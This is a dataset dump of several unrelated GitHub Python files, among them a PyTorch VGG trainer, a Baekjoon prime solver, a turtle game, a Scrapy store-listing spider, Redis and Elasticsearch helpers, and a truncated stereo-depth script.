self.diffJolt, self.diffJolt[1] * self.diffJolt[3])\n        except:\n            print(\"Invalid gap, cannot use all adaptors\")\n    \n    def RunTest2(self):\n        print(\"Test 2: \")\n\nif __name__ == \"__main__\":\n    data = DataCheck()\n    data.LoadInput()\n    data.RunTest1()\n    data.RunTest2()\n","repo_name":"godboutj/AOC2020","sub_path":"10/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19082562179","text":"import torch\nimport os\nimport torchvision\nimport torch.optim as optim\nimport torchvision.transforms as transforms\nfrom torch.autograd import Variable\nimport torch.nn as nn\nimport torch.utils.data.dataloader as Data\n\n\ntrain_data = torchvision.datasets.CIFAR10(\n    '/home/geniusrabbit/PycharmProjects/TestPyTF/cifar10', train=True, transform=transforms.ToTensor()\n)\n\ntest_data = torchvision.datasets.CIFAR10(\n    '/home/geniusrabbit/PycharmProjects/TestPyTF/cifar10', train=False, transform=transforms.ToTensor()\n)\nclasses = ('plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck')\n\ntrain_loader = Data.DataLoader(dataset=train_data, batch_size=4, shuffle=True, num_workers=2)\ntest_loader = Data.DataLoader(dataset=test_data, batch_size=4, shuffle=False, num_workers=2)\n\n\ncfg = {\n    'VGG11': [64, 'M', 128, 'M', 256, 256, 'M', 512, 512, 'M', 512, 512, 'M'],\n    'VGG13': [64, 64, 'M', 128, 128, 'M', 256, 256, 'M', 512, 512, 'M', 512, 512, 'M'],\n    'VGG16': [64, 64, 'M', 128, 128, 'M', 256, 256, 256, 'M', 512, 512, 512, 'M', 512, 512, 512, 'M'],\n    'VGG19': [64, 64, 'M', 128, 128, 'M', 256, 256, 256, 256, 'M', 512, 512, 512, 512, 'M', 512, 512, 512, 512, 'M'],\n}\n\n\nclass VGG(nn.Module):\n    def __init__(self,vgg_name):\n        super(VGG, self).__init__()\n        self.features = self._makelayers(cfg[vgg_name])\n        self.classifier = nn.Linear(512, 10)\n\n    def forward(self, x):\n        x = self.features(x)\n        x = x.view(x.size(0), -1)\n        x = self.classifier(x)\n        return x\n\n    def _makelayers(self, cfg):\n        layers = []\n        inplanes =3\n        for x in cfg:\n            if x == 'M':\n                layers += [nn.MaxPool2d(kernel_size=2, stride=2)]\n            else:\n                layers += [nn.Conv2d(inplanes, x, kernel_size=3, padding=1),\n                           nn.BatchNorm2d(x),\n                           nn.ReLU(True)]\n                inplanes = x\n        layers += [nn.AvgPool2d(kernel_size=1, stride=1)]\n        return nn.Sequential(*layers)\n\n# net = VGG('VGG11')\n\n\nnet = torch.load('VGGNet.pkl')\noptimizer = optim.SGD(net.parameters(), lr=0.01)\nloss_func = nn.CrossEntropyLoss()\n\nfor epoch in range(50):\n    train_acc1 = 0\n    for i, data in enumerate(test_loader, 0):\n        inputs, lables = data\n        inputs, lables = Variable(inputs), Variable(lables)\n        out = net(inputs)\n        pred = torch.max(out, 1)[1]\n        train_acc1 += (pred == lables).sum().item()\n        if i % 1000 == 999:\n            print('testDataAcc:[%d,%5d] acc: %.6f' % (epoch + 1, i + 1, train_acc1 / (1000 * lables.size(0))))\n            train_acc1 = 0\n\n    train_loss = 0\n    train_acc = 0\n    train_loss1 = 0\n    for i, data in enumerate(train_loader, 0):\n\n        inputs, lables = data\n        inputs, lables = Variable(inputs), Variable(lables)\n\n        optimizer.zero_grad()\n\n        out = net(inputs)\n        loss = loss_func(out, lables)\n        train_loss += loss.item()\n\n        pred = torch.max(out, 1)[1]\n        train_acc += (pred == lables).sum().item()\n\n        loss.backward()\n        optimizer.step()\n\n        train_loss += loss.data.item()\n\n        if i % 100 == 99:\n            print('[%d,%5d] loss:%.6f' % (epoch+1, i+1, train_loss/100))\n            train_loss1 = train_loss1+train_loss\n            train_loss = 0\n\n        if i % 2000 == 1999:\n            print('>>>>[%d,%5d] loss:%.6f' % (epoch + 1, i + 1, train_loss1 / 2000))\n            print('>>>>[%d,%5d] acc: %.6f' % (epoch + 1, i + 1, train_acc / (2000 * lables.size(0))))\n            train_acc = 0\n            train_loss1 = 0\n            torch.save(net, 'VGGNet.pkl')\n\n","repo_name":"delta1037/HUST-Works","sub_path":"Dian_summer_study/neuralNetwork/VGG.py","file_name":"VGG.py","file_ext":"py","file_size_in_byte":3611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11971945302","text":"# 백준 4134번\r\n# 정수 n은 0<=n<=4*(10**9)\r\n# n보다 크거나 같은 소수 중 가장 작은 소수를 찾는 프로그램\r\n# n이 n**(0.5) 보다 작거나 같은 1이 아닌 약수를 가지지 않으면 소수이다.\r\n# n이상의 소수를 구하려면 n에서 1씩 더하면서 그 제곱근 이하의 1이 아닌 약수가 없는 수를 구하면 된다.\r\n# n이 0 또는 1 또는 2이면 2를 출력하면 된다.\r\n# n이 3이면 3을 출력하면 된다.\r\n# n이 4일때 제곱근이 2이고 약수가 있는지는 2부터 n의 제곱근까지 반복해야 하므로\r\n# n이 4일때부터 제곱근이 들어간 반복문을 돌리면 된다.\r\nTestcase = int(input())\r\nfor i in range(Testcase):\r\n    n = int(input())\r\n    if n == 0 or n == 1 or n == 2:\r\n        print(2)\r\n    elif n == 3:\r\n        print(3)\r\n    elif n >= 4:\r\n        while n != 0:\r\n            count = 0\r\n            for i in range(2, int(n**(0.5)) + 1, 1):\r\n                if n % i == 0:\r\n                    n += 1\r\n                \r\n                    count += 1\r\n                    break\r\n            if count == 0:\r\n                print(n)\r\n                n = 0\r\n                break","repo_name":"kyj0924/baekjoon_challenge","sub_path":"백준/Silver/4134. 다음 소수/다음 소수.py","file_name":"다음 소수.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4294687991","text":"#   Tela\r\nimport turtle\r\ntela = turtle.Screen()\r\ntela.tracer(0)\r\ntela.bgcolor(\"black\")\r\ntela.title(\"Jogo de Futebol\")\r\ntela.setup(width= 800, height= 600)\r\n\r\n\r\n#  Bola\r\nbola = turtle.Turtle()\r\nbola.speed(0)\r\nbola.up()\r\nbola.color(\"white\")\r\nbola.shape(\"circle\")\r\nbola.goto(0, -250)\r\n\r\n\r\n#  Trave central\r\ntrave_central = turtle.Turtle()\r\ntrave_central.speed(0)\r\ntrave_central.up()\r\ntrave_central.color(\"white\")\r\ntrave_central.shape(\"square\")\r\ntrave_central.goto(0, 300)\r\ntrave_central.shapesize(stretch_wid=2, stretch_len=15)\r\n#Defensor\r\ndefensor = turtle.Turtle()\r\ndefensor.speed(0)\r\ndefensor.up()\r\ndefensor.goto(0, 270)\r\ndefensor.color(\"red\")\r\ndefensor.shape('square')\r\ndefensor.shapesize(stretch_len=5, stretch_wid= 1)\r\n\r\n# Placar\r\nplacar = turtle.Turtle()\r\nplacar.hideturtle()\r\nplacar.speed(0)\r\nplacar.up()\r\nplacar.color(\"blue\")\r\nplacar.write('Gols: 0', align=\"center\", font=('Arial', 20, 'normal'))\r\nplacar.goto(-300, -175)\r\nx = 0\r\n\r\n\r\n#  Velocidade da bola e do defensor:\r\nbola.dx = float(1.0)\r\nbola.dy = float(0.1)\r\ndefensor.dx = float(1.0)\r\n\r\n#  Funções\r\ndef movimento_horizontal():\r\n\r\n    bola.setx(bola.xcor() + bola.dx)\r\n\r\ndef movimento_vertical():\r\n    bola.sety(bola.ycor() + bola.dy)\r\n\r\ndef movimento_defensor():\r\n    defensor.setx((defensor.xcor() + defensor.dx))\r\nwhile True:\r\n    tela.update()\r\n\r\n    #  Movimento Horizontal da Bola\r\n    movimento_horizontal()\r\n    if bola.xcor() >= 380:\r\n        bola.dx *= -1\r\n    if bola.xcor() <= -380:\r\n        bola.dx *= - 1\r\n\r\n    # Movimento Vertical e retorno\r\n    tela.listen()\r\n    tela.onkeypress(movimento_vertical, \"w\")\r\n    if bola.ycor() != -250:\r\n        for i in range(30):\r\n            movimento_vertical()\r\n    if bola.ycor() > 290:\r\n        bola.goto(0, -250)\r\n        movimento_horizontal()\r\n\r\n#  Movimento Do goleiro\r\n    movimento_defensor()\r\n    if  defensor.xcor() > 150 or -150 > defensor.xcor():\r\n        defensor.dx *= -1\r\n\r\n\r\n#   Quando fizer um gol\r\n    if bola.ycor() < trave_central.ycor() + 30 and bola.ycor() > trave_central.ycor() - 30 and -150 <bola.xcor() < 150:\r\n        x += 1\r\n        placar.clear()\r\n        placar.write(f'Gols: {x //6}')\r\n\r\n#  Quando bater no defensor\r\n    if bola.ycor() < (defensor.ycor() + 10) and (bola.ycor() > defensor.ycor() - 10) and defensor.xcor() - 50 < bola.xcor() < defensor.xcor() + 50:\r\n        bola.goto(0, -250)\r\n","repo_name":"ian-santos-nascimento/Own-game","sub_path":"jogo(ian).py","file_name":"jogo(ian).py","file_ext":"py","file_size_in_byte":2342,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40019085074","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# This package will contain the spiders of your Scrapy project\n#\n# Please refer to the documentation for information on how to create and manage\n# your spiders.\nimport json\n\nimport datetime\n\nimport os\nimport scrapy\nimport re\n\nimport time\n\n\nclass TestSpider(scrapy.Spider):\n    name = \"lawson\"\n\n    def start_requests(self):\n        urls = [\n            'bj-lawson',\n            'wh-lawson',\n            'dl-lawson',\n            'sh-lawson',\n            'cq-lawson'\n        ]\n\n        base_url = \"https://lawsonapp.api.yorentick.cn/app/v1/shop/?page=1&pageSize=15000&upDa=1103249250000&timestamp=1519353121318&nonce=kWJYv8&signature=dc452c95ff33a21c3b33388d39d0b9bd46c4d920&device=1&regionBlockCode=\"\n        for url in urls:\n            yield scrapy.Request(url=base_url + url, callback=self.parse)\n\n    def parse(self, response):\n\n        body_json = response.body_as_unicode()\n\n        body = json.loads(body_json)\n\n        store_list = body[\"data\"][\"list\"]\n\n        print(len(store_list))\n\n        for store in store_list:\n            city = store[\"provinceDistrict\"]\n            # district = \"\"\n\n            name = store[\"shopName\"]\n            address = store[\"address\"]\n            location = str(store[\"latitude\"]) + \",\" + str(store[\"longitude\"])\n            store_day = store[\"openDate\"]\n\n            path = \"./\" + datetime.datetime.now().strftime('%Y-%m-%d')\n            is_exists = os.path.exists(path)\n\n            if not is_exists:\n                os.makedirs(path)\n\n            f = open(path + \"/\"\n                     + datetime.datetime.now().strftime('%Y-%m-%d')\n                     + \"_\"\n                     + TestSpider.name + '.txt', 'a')\n            # r只读，w可写，a追加\n            f.write(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(\n                store_day / 1000.0)) + \"@\" + city + \"@\" + name + \"@\" + address + \"@\" + location + '\\n')\n\n            f.close()\n","repo_name":"SkyWaterXXS/codespider","sub_path":"codespider/spiders/lawson.py","file_name":"lawson.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71877935141","text":"\"\"\"\nThis module contains the following classes:\n- RedisTransaction: Represents a Redis transaction.\n\"\"\"\n\nfrom typing import Any, Callable, List, Tuple\nfrom asyncio import Future, gather\n\n\nclass RedisTransaction:\n    \"\"\"\n    Represents a Redis transaction that can also be used as a context manager.\n    \"\"\"\n\n    _tasks: List[Future]\n    _result_callback: Callable[[Tuple[Any, ...]], Any]\n\n    def __init__(self, redis_client):\n        \"\"\"\n        Creates an instance of `RedisTransaction`.\n\n        Args:\n            redis_client (RedisClient): The instance to use for connecting to Redis.\n        \"\"\"\n        self._redis_client = redis_client\n        self._tasks = []\n        self._result_callback = None\n\n    async def __aenter__(self):\n        return self\n\n    async def __aexit__(self, exc_type, exc, traceback):\n        if not exc:\n            await self._redis_client.execute_transaction()\n            result = await gather(*self._tasks)\n            if self._result_callback:\n                self._result_callback(*result)\n        else:\n            self._redis_client.discard_transaction()\n            for task in self._tasks:\n                task.cancel()\n\n    def add_operation(self, *tasks: Future):\n        \"\"\"\n        Adds the given operation(s) to the transaction.\n\n        Args:\n            tasks (tuple[Future, ...]): The tasks to add to the transaction. Should be Redis\n            operations that support transactions.\n        \"\"\"\n        self._tasks.extend(tasks)\n\n    def set_result_callback(self, callback: Callable[[Tuple[Any, ...]], Any]):\n        \"\"\"\n        Sets a callback function to be called with the result of the transaction when it completes.\n\n        Args:\n            callback (Callable[[Tuple[Any, ...]], Any]): The function to call. Accepts positional\n                arguments containing results of operations in the same order as they were added\n                to the transaction using calls to `add_operation`.\n        \"\"\"\n        self._result_callback = callback\n","repo_name":"qcrisw/aioredis-models","sub_path":"aioredis_models/redis_transaction.py","file_name":"redis_transaction.py","file_ext":"py","file_size_in_byte":2002,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"4423221479","text":"from elasticsearch_dsl import Search, Mapping, Field, Index\nfrom elasticsearch_dsl.connections import connections\nfrom elasticsearch.helpers import bulk\nfrom .helpers import chunk_queryset_iterator\n\n\nDELETE_META_FIELDS = frozenset((\n    'id', 'parent', 'routing', 'version', 'version_type'\n))\n\nDOC_META_FIELDS = frozenset((\n    'timestamp', 'ttl'\n)).union(DELETE_META_FIELDS)\n\nMETA_FIELDS = frozenset((\n    'index', 'using', 'score', 'doc_type', 'serializer'\n)).union(DOC_META_FIELDS)\n\n\nclass MetaField(object):\n\n    def __init__(self, *args, **kwargs):\n        self.args, self.kwargs = args, kwargs\n\n\nclass DocTypeOptions(object):\n\n    def __init__(self, name, bases, attrs):\n        meta = attrs.pop('Meta', None)\n        self.meta = meta\n        self.index = getattr(meta, 'index', None)\n        self.doc_type = getattr(meta, 'doc_type', None)\n        self._using = getattr(meta, 'using', None)\n        self.mapping = getattr(meta, 'mapping', Mapping(self.doc_type))\n        self.serializer = getattr(meta, 'serializer', None)\n\n        for name, value in list(attrs.items()):\n            if isinstance(value, Field):\n                self.mapping.field(name, value)\n                del attrs[name]\n\n        for name in dir(meta):\n            if isinstance(getattr(meta, name, None), MetaField):\n                params = getattr(meta, name)\n                self.mapping.meta(name, *params.args, **params.kwargs)\n\n        for b in bases:\n            if hasattr(b, '_doc_type') and hasattr(b._doc_type, 'mapping'):\n                self.mapping.update(b._doc_type.mapping, update_only=True)\n                self._using = self._using or b._doc_type._using\n                self.index = self.index or b._doc_type.index\n\n    @property\n    def using(self):\n        return self._using or 'default'\n\n    @property\n    def model(self):\n        if not self.serializer:\n            return None\n        return self.serializer.Meta.model\n\n    @property\n    def name(self):\n        return self.mapping.properties.name\n\n    @property\n    def parent(self):\n        if '_parent' in self.mapping._meta:\n            return self.mapping._meta['_parent']['type']\n        return\n\n    def resolve_field(self, field_path):\n        return self.mapping.resolve_field(field_path)\n\n    def init(self, index=None, using=None):\n        self.mapping.save(index or self.index, using=using or self.using)\n\n    def refresh(self, index=None, using=None):\n        self.mapping.update_from_es(\n            index or self.index, using=using or self.using)\n\n\nclass DocMeta(type):\n\n    def __new__(cls, name, bases, attrs):\n        attrs['_doc_type'] = DocTypeOptions(name, bases, attrs)\n        model = attrs['_doc_type'].model\n        if model is not None:\n            attrs['model_label'] = model._meta.label_lower\n        return type.__new__(cls, name, bases, attrs)\n\n\nclass ModelSerializerDocument(object, metaclass=DocMeta):\n    use_for_search = True\n\n    def __init__(self, instance, meta={}):\n        self.instance = instance\n        self.serializer = self._doc_type.serializer(instance)\n        self.meta = meta\n        self.meta[\"id\"] = instance.pk\n\n    @classmethod\n    def get_model(cls):\n        return cls._doc_type.model\n\n    @classmethod\n    def action_meta(cls, x):\n        action = {}\n        action[\"_type\"] = cls._doc_type.doc_type\n        action[\"_id\"] = x[\"id\"]\n        action[\"_source\"] = x\n        return action\n\n    @classmethod\n    def bulk_index(cls, row=[]):\n        es = connections.get_connection()\n        items = cls._doc_type.serializer(row, many=True).data\n        actions = list(map(cls.action_meta, items))\n        success, _ = bulk(\n            es, actions, index=cls._doc_type.index, raise_on_error=True)\n        print('Performed %d actions' % success)\n\n    @classmethod\n    def bulk_index_queryset(cls, queryset=[]):\n        es = connections.get_connection()\n\n        for row in chunk_queryset_iterator(queryset):\n            items = cls._doc_type.serializer(row, many=True).data\n            actions = list(map(cls.action_meta, items))\n            success, _ = bulk(\n                es, actions, index=cls._doc_type.index, raise_on_error=True)\n            print('Performed %d actions' % success)\n\n    @classmethod\n    def init(cls, index=None, using=None):\n        cls._doc_type.init(index, using)\n\n    @classmethod\n    def get(cls, id, using=None, index=None, **kwargs):\n        es = connections.get_connection(using or cls._doc_type.using)\n        doc = es.get(\n            index=index or cls._doc_type.index,\n            doc_type=cls._doc_type.name,\n            id=id,\n            **kwargs\n        )\n        if not doc['found']:\n            return None\n        return doc[\"_source\"]\n\n    @classmethod\n    def search(cls, using=None, index=None):\n        return Search(\n            using=using or cls._doc_type.using,\n            index=index or cls._doc_type.index,\n            doc_type=[cls._doc_type.doc_type]\n        )\n\n    @classmethod\n    def refresh_index(cls):\n        index = Index(cls._doc_type.index)\n        return index.refresh()\n\n    def _get_index(self, index=None):\n        if index is None:\n            index = getattr(self.meta, 'index', self._doc_type.index)\n        if index is None:\n            raise Exception('No index')\n        return index\n\n    def delete(self, using=None, index=None, **kwargs):\n        es = connections.get_connection()\n        doc_meta = dict(\n            (k, self.meta[k])\n            for k in DELETE_META_FIELDS\n            if k in self.meta\n        )\n\n        doc_meta.update(kwargs)\n        es.delete(\n            index=self._get_index(),\n            doc_type=self._doc_type.name,\n            **doc_meta\n        )\n\n    def save(self, using=None, index=None, **kwargs):\n        es = connections.get_connection()\n\n        doc_meta = dict(\n            (k, self.meta[k])\n            for k in DOC_META_FIELDS\n            if k in self.meta\n        )\n        doc_meta.update(kwargs)\n\n        meta = es.index(\n            index=self._get_index(),\n            doc_type=self._doc_type.name,\n            body=self.serializer.data,\n            **doc_meta\n        )\n\n        return meta\n","repo_name":"ajbeach2/drf-elasticsearch-dsl","sub_path":"drf_elasticsearch_dsl/documents.py","file_name":"documents.py","file_ext":"py","file_size_in_byte":6121,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"42580788177","text":"#!/usr/bin/python3\n##Reference:\n#\n#[1]https://stackoverflow.com/questions/51197091/how-does-the-lowes-ratio-test-work\n#[2]https://docs.opencv.org/4.x/da/df5/tutorial_py_sift_intro.html\n#[3]https://stackoverflow.com/questions/36172913/opencv-depth-map-from-uncalibrated-stereo-system\n#[4]https://docs.opencv.org/4.2.0/d4/d5d/group__features2d__draw.html\n#[5]https://docs.opencv.org/2.4/modules/features2d/doc/common_interfaces_of_descriptor_matchers.html\n#[6]https://en.wikipedia.org/wiki/Eight-point_algorithm#The_normalized_eight-point_algorithm\n#[7] Lowe, D.G. Distinctive Image Features from Scale-Invariant Keypoints. International Journal of Computer Vision 60, 91–110 (2004). https://doi.org/10.1023/B:VISI.0000029664.99615.94\n#[8]https://docs.opencv.org/master/da/de9/tutorial_py_epipolar_geometry.html\n#[9]https://docs.opencv.org/3.4/db/d27/tutorial_py_table_of_contents_feature2d.html\n#\n\nimport cv2 as cv\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n#in mm\nfocal_length = 19.1\nsensor_size_x = 0.0064\nsensor_size_y = 0.0064\nsensor_size =  sensor_size_x*sensor_size_y\n\n\n#Get the KeyPoints\ndef keypoints_and_desscriptors_sift(image_left, image_right):\n    \"\"\"Using SIFT(Scale invariant feature transform) and FLANN matcher to \n    obtain the keypoints and the descriptors for the stero pair[2]\n    Input : left and right images\n    Output: keypoints 1, keypoints 2, descriptors1, descriptors2, flann_matches\n    \"\"\"\n    sift = cv.SIFT_create()\n    key1, desc1 = sift.detectAndCompute(image_left, None)\n    key2, desc2 = sift.detectAndCompute(image_right, None)\n\n    #FLANN Enhanced Nearest Neighbour Method\n    # The keypoints of the first image is matched with the second one\n    # i.e the left with the right image. \n    # The k = 2 keeps the best 2 matches for each point with smallest\n    # distance\n    FLANN_INDEX_KDTREE = 1\n    index_params = dict(algorithm = FLANN_INDEX_KDTREE, trees = 5)\n    search_params = dict(checks=50)\n    flann = cv.FlannBasedMatcher(index_params,search_params)\n    Flann_matches = flann.knnMatch(desc1,desc2,k=2)\n\n    return key1, key2, desc1, desc2, Flann_matches\n\ndef keypoints_and_desscriptors_ORB(image_left, image_right):\n    \"\"\"Using ORB to extract the features\n    Input : left and right images\n    Output: keypoints 1, keypoints 2, descriptors1, descriptors2, bf_mathces\n    \"\"\"\n\n    orb = cv.ORB_create(nfeatures=10000)\n    # find the keypoints and descriptors with ORB\n    key1, des1 = orb.detectAndCompute(image_left,None)\n    key2, des2 = orb.detectAndCompute(image_right,None)\n\n\n    #:________________________Brute Force Matcher_____________________________\n    # create BFMatcher object\n    bf = cv.BFMatcher(cv.NORM_HAMMING, crossCheck=True)\n\n    # Match descriptors._\n    matches = bf.match(des1,des2)\n\n    # Sort them in the order of their distance.\n    matches = sorted(matches, key = lambda x:x.distance)\n    # print(len(matches))\n    \n    # Select first 30 matches.\n    bf_mathces = matches[:50]\n\n\n    return key1, key2, des1, des2, bf_mathces\n\ndef lowes_test(matches, threshold, kp1, kp2):\n    \"\"\" lowes test to keep the good points for caluculating distinctive image\n    features[7][1]\n    Input : flann_matches, threshold, keypoints1, keypoints2\n    Output: Gives the good matches, matchesMask\n    \"\"\"\n    matchesMask = [[0, 0] for i in range(len(matches))]\n    filtered_matches = []\n    pts1 = []\n    pts2 = []\n\n    for i, (m, n) in enumerate(matches):\n        if m.distance < threshold*n.distance:\n            # Keep this keypoint pair\n            matchesMask[i] = [1, 0]\n            filtered_matches.append(m)\n            pts2.append(kp2[m.trainIdx].pt)\n            pts1.append(kp1[m.queryIdx].pt)\n\n    return filtered_matches, matchesMask, pts1, pts2\n\ndef draw_matches(image_left, image_right, key1, key2, matchesMask, flann_matches):\n    \"\"\"Matches between the images[4][5]\n    Input : left image, right image, keypoints1, keypoints2, matchesMask, flann matches\n    \"\"\"\n\n    params = dict(matchColor=(0, 255, 0),\n                       singlePointColor=(255, 0, 0),\n                       matchesMask=matchesMask[200:300],\n                       flags=cv.DrawMatchesFlags_DEFAULT)\n\n    image = cv.drawMatchesKnn(\n            image_left, \n            key1,\n            image_right,\n            key2,\n            flann_matches[200:300],\n            None,\n            **params)\n    cv.imshow(\"Matched points\", image)\n    cv.waitKey(0)\n\ndef fundamental_matrix(kp1, kp2):\n    \"\"\"Using the good matchs to get a good estimate of the fundamental matrix[6]\n    Input : keypoints1, keypoints2 (of good matches)\n    Output: f matrix, inliers, keypoints1, keypoints2\n    \"\"\"\n    pts1 = np.int32(kp1)\n    pts2 = np.int32(kp2)\n    fundamental_matrix, inliers = cv.findFundamentalMat(pts1, pts2, cv.FM_RANSAC)\n\n    # We select only inlier points\n    pts1 = pts1[inliers.ravel() == 1]\n    pts2 = pts2[inliers.ravel() == 1]\n\n    return fundamental_matrix, inliers, pts1, pts2\n\ndef K_matrix(image):\n    x_pixels = len(image[0])\n    y_pixels = len(image)\n\n    pixel_size_x = x_pixels / sensor_size_x   #in pixels/mm\n    pixel_size_y = y_pixels / sensor_size_y     #in pixels/mm\n\n    f_x = focal_length * pixel_size_x     #pixels\n    f_y = focal_length * pixel_size_y     #pixels\n    global f_pix\n    \n\n    f_pix = focal_length * ((pixel_size_x * pixel_size_y) / 2)\n    K = np.asarray([[f_x, 0, x_pixels/2],\n                    [0, f_y, y_pixels/2],\n                    [0, 0, 1]])\n    return K\n\n\ndef E_matrix(F,image_left, image_right):\n    #E = Kt * F * K\n    K_l = K_matrix(image_left)\n    K_r = K_matrix(image_right)\n    E = np.dot(F, K_r)\n    E = np.dot(np.transpose(K_l), E)\n\n    return E\n\ndef Rot_Tran_Matrix(E):\n\n    U,S,V = np.linalg.svd(E)\n\n    V = V.T\n    mid = np.float32([ [0,-1,0],\n                      [1, 0,0],\n                      [0, 0,1] ])\n\n    prodA = np.dot(mid, V.T)\n\n    rotation = np.dot(U, prodA)\n\n    translation = np.transpose(np.matrix([U[0][2],U[1][2],U[2][2]]))\n\n    return rotation, translation\n\ndef compute_P(K, R, T):\n    #calculate intrinsics matrix\n    M_int = K\n    M_int = np.c_[M_int, [0, 0, 0]]\n\n    #calculate extrinsics\n    M_ext = R\n    M_ext = np.c_[M_ext, T]\n    M_ext = np.r_[M_ext, [[0, 0, 0, 1]]]\n\n    #calculate projection\n    P = np.dot(M_int, M_ext)\n\n    return P\n\ndef disparity_to_depth(baseline, f, img):\n    \"\"\"This is used to compute the depth values from the disparity map\n    Input : baseline, fundamental matrix, disparity\"\"\"\n\n    # Assumption image intensities are disparity values (x-x') \n    depth_map = np.zeros((img.shape[0], img.shape[1]))\n    depth_array = np.zeros((img.shape[0], img.shape[1]))\n\n    for i in range(depth_map.shape[0]):\n        for j in range(depth_map.shape[1]):\n            depth_map[i][j] = 1/img[i][j]\n            depth_array[i][j] = baseline*f/img[i][j]\n\n    return depth_map, depth_array\n\ndef create_point_cloud_file(vertices, colors, filename):\n    \"\"\"Creating a pont cloud\n    Input vertices, colors, filename\"\"\"\n\n    colors = colors.reshape(-1,3)\n    vertices = np.hstack([vertices.reshape(-1,3),colors])\n\n    ply_header = '''ply\n        format ascii 1.0\n        element vertex %(vert_num)d\n        property float x\n        property float y\n        property float z\n        property uchar red\n        property uchar green\n        property uchar blue\n        end_header\n        '''\n    with open(filename, 'w') as f:\n        f.write(ply_header %dict(vert_num=len(vertices)))\n        np.savetxt(f,vertices,'%f %f %f %d %d %d')\n\n\ndef drawlines(image_left, image_right, lines, pts1src, pts2src):\n    \"\"\"img1 - image on which we draw the epilines for the points in img2\n    lines - corresponding epilines\"\"\" \n    r, c = image_left.shape\n    imglcolor = cv.cvtColor(image_left, cv.COLOR_GRAY2BGR)\n    imgrcolor = cv.cvtColor(image_right, cv.COLOR_GRAY2BGR)\n    # Edit: use the same random seed so that two images are comparable!\n    np.random.seed(0)\n    for r, pt1, pt2 in zip(lines, pts1src, pts2src):\n        color = tuple(np.random.randint(0, 255, 3).tolist())\n        x0, y0 = map(int, [0, -r[2]/r[1]])\n        x1, y1 = map(int, [c, -(r[2]+r[0]*c)/r[1]])\n        imglcolor = cv.line(imglcolor, (x0, y0), (x1, y1), color, 1)\n        imglcolor = cv.circle(irg1color, tuple(pt1), 5, color, -1)\n        imgrcolor = cv.circle(imgrcolor, tuple(pt2), 5, color, -1)\n    return imglcolor, imgrcolor\n\ndef plot_3D(im1, im2, img3D):\n\n    fig = plt.figure()\n    ax = fig.add_subplot(111, projection='3d')\n\n\n    for i in range(0,len(im1), 1):\n        for j in range(0,len(im1[0]), 1):\n            x = img3D[j][i][0]\n            y = img3D[j][i][1]\n            z = img3D[j][i][2]\n            '''\n            #print '\\ni:', i\n            #print '\\nj:', j\n            #print '\\nlen(im1):', len(im2)\n            #print '\\nlen(im1[0]):', len(im2[0])\n            #'''\n            ax.scatter(x,y,z, c=im2[i,j], marker='o')\n\n    ax.set_xlabel('x axis')\n    ax.set_xlabel('y axis')\n    ax.set_xlabel('z axis')\n\n\ndef ply_from_list(le_list):\n\n    list_len = len(le_list)\n\n    le_file = open('my_sparse_ply.ply', 'w')\n\n    #go through and find all the points that arent infinity\n    inf_ct = 0\n    for i in range(list_len):\n        for j in range(len(le_list[0, 0])):\n            a = str(le_list[i, 0, j])\n            b = str(le_list[i, 0, j])\n            c = str(le_list[i, 0, j])\n\n            if (a and b and c) != 'inf':\n                if (a and b and c) != '-inf':\n                    inf_ct += 1\n\n\n    le_file.write(( 'ply\\n' +\n                    'format ascii 1.0\\n' +\n                    'element vertex ' + str(inf_ct) + '\\n'\n                    'property float x\\n' +\n                    'property float y\\n' +\n                    'property float z\\n' +\n                    'end_header\\n'))\n\n    for i in range(list_len):\n        for j in range(len(le_list[0, 0])):\n            a = str(le_list[i, 0, j])\n            b = str(le_list[i, 0, j])\n            c = str(le_list[i, 0, j])\n\n            if (a and b and c) != 'inf':\n                if (a and b and c) != '-inf':\n                    le_file.write(a + ' ' + b + ' ' + c + '\\n')\n\n    le_file.close()\n##________________________________Input Images________________________________##\n\n\nimage_left = cv.imread(\"lefrncam_57.png\", cv.IMREAD_GRAYSCALE)\nimage_right = cv.imread(\"rightrncam_57.png\", cv.IMREAD_GRAYSCALE)\n\n##_______________________________Keypoints and descriptors___________________##\n\nkeyp1, keyp2, desc1,desc2, flann_matches = keypoints_and_desscriptors_sift(image_left, image_right)\ngood_matches, mask, good_point1, good_point2 = lowes_test(flann_matches, 0.7, keyp1, keyp2)\ndraw_matches(image_left, image_right, keyp1, keyp2, mask, flann_matches)\n\nf ,inliners, pts1, pts2 = fundamental_matrix(good_point1, good_point2)\n\n#E = E_matrix(f, image_left, image_right)\n#R, T = Rot_Tran_Matrix(E)\nK = K_matrix(image_left)\n\n##_________________________________Epilines__________________________________##\n\n\n#lines1 = cv.computeCorrespondEpilines(\n#    pts2.reshape(-1, 1, 2), 2, f)\n#lines1 = lines1.reshape(-1, 3)\n#img5, img6 = drawlines(image_left, image_right, lines1, pts1, pts2)\n#\n## Find epilines corresponding to points in left image (first image) and\n## drawing its lines on right image\n#lines2 = cv.computeCorrespondEpilines(\n#    pts1.reshape(-1, 1, 2), 1, f)\n#lines2 = lines2.reshape(-1, 3)\n#img3, img4 = drawlines(image_left, image_right, lines2, pts2, pts1)\n#\n#plt.subplot(121), plt.imshow(img5)\n#plt.subplot(122), plt.imshow(img3)\n#plt.suptitle(\"Epilines in both images\")\n#plt.show()\n#\n##___________________________________rectification/Undistort___________________________##\n\n\nh1, w1 = image_left.shape\nh2, w2 = image_right.shape\n_, H1, H2 = cv.stereoRectifyUncalibrated(\n    np.float32(pts1), 